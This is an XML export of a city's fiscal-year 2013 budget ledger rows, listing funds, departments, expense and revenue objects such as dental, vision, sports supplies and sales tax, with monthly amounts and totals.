<row _id="3441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3476.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="3442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>274.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274.0</total></row>
<row _id="3443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1580.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1596.0</total></row>
<row _id="3444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>209.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="3445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="3446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>56262.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56262.0</total></row>
<row _id="3447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3365.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3365.0</total></row>
<row _id="3448"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>710.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>710.0</total></row>
<row _id="3449"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>597.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>597.0</total></row>
<row _id="3450"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>650.0</total></row>
<row _id="3451"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>199206.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1992</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>201198.0</total></row>
<row _id="3452"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>177925.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>177925.0</total></row>
<row _id="3453"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>80872.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>809</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>81681.0</total></row>
<row _id="3454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>970.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>980.0</total></row>
<row _id="3455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1122.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1122.0</total></row>
<row _id="3456"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>873.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>9</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>882.0</total></row>
<row _id="3457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>36091.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>361</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36452.0</total></row>
<row _id="3458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20093.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20093.0</total></row>
<row _id="3459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13919.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>139</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14058.0</total></row>
<row _id="3460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400850.0</object><object_description>SWIM CENTER-SMC</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401001.0</object><object_description>SWIM CENTER-GROUP LESSONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401006.0</object><object_description>SWIM CENTER-SPECIAL CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1532.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1547.0</total></row>
<row _id="3464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22000.0</total></row>
<row _id="3465"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8160.0</total></row>
<row _id="3466"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14940.0</total></row>
<row _id="3467"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2255.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>23</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2278.0</total></row>
<row _id="3468"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4996.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5046.0</total></row>
<row _id="3469"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-4900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4900.0</total></row>
<row _id="3470"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533730.0</object><object_description>MOBILE DATA EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>69076.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>69076.0</total></row>
<row _id="3471"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>408270.0</object><object_description>WINDWARD SCH-WELL RELOCATION</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-434000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-434000.0</total></row>
<row _id="3472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400080.0</object><object_description>HOME EXEMPT TAX RELIEF</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-209052.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-209052.0</total></row>
<row _id="3473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400100.0</object><object_description>FRANCHISE TAX - UTILITIES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-990296.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-990296.0</total></row>
<row _id="3474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400160.0</object><object_description>SALES / USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-25500347.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25500347.0</total></row>
<row _id="3475"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405100.0</object><object_description>PARKING FACILITY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-10067000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-333000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10400000.0</total></row>
<row _id="3476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>406900.0</object><object_description>DIVCA REV FOR PEG FACILITIES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-260750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>260750</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3477"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-27000.0</july><august>0</august><september>0.0</september><october>27000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3478"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579009.0</object><object_description>DISCRET-WATER SUSTAIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="3479"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>406854.0</object><object_description>OTS SOBRIETY CHECKPOINT 2013</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-45000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-45000.0</total></row>
<row _id="3480"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>410220.0</object><object_description>DOWNTOWN ADVERTISING REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-200000</february><march>0.0</march><april>200000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3481"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>403635.0</object><object_description>JUSTICE ASSIST GRANT 2013-OT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-29283</april><may>0</may><june>0.0</june><total>-29283.0</total></row>
<row _id="3482"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>1122</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1122.0</total></row>
<row _id="3483"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>137</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137.0</total></row>
<row _id="3484"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>-1306</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1306.0</total></row>
<row _id="3485"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>28358.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>284</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28642.0</total></row>
<row _id="3486"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14450.0</july><august>0</august><september>0.0</september><october>-222.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14228.0</total></row>
<row _id="3487"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2170.0</july><august>0</august><september>0.0</september><october>-7.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2163.0</total></row>
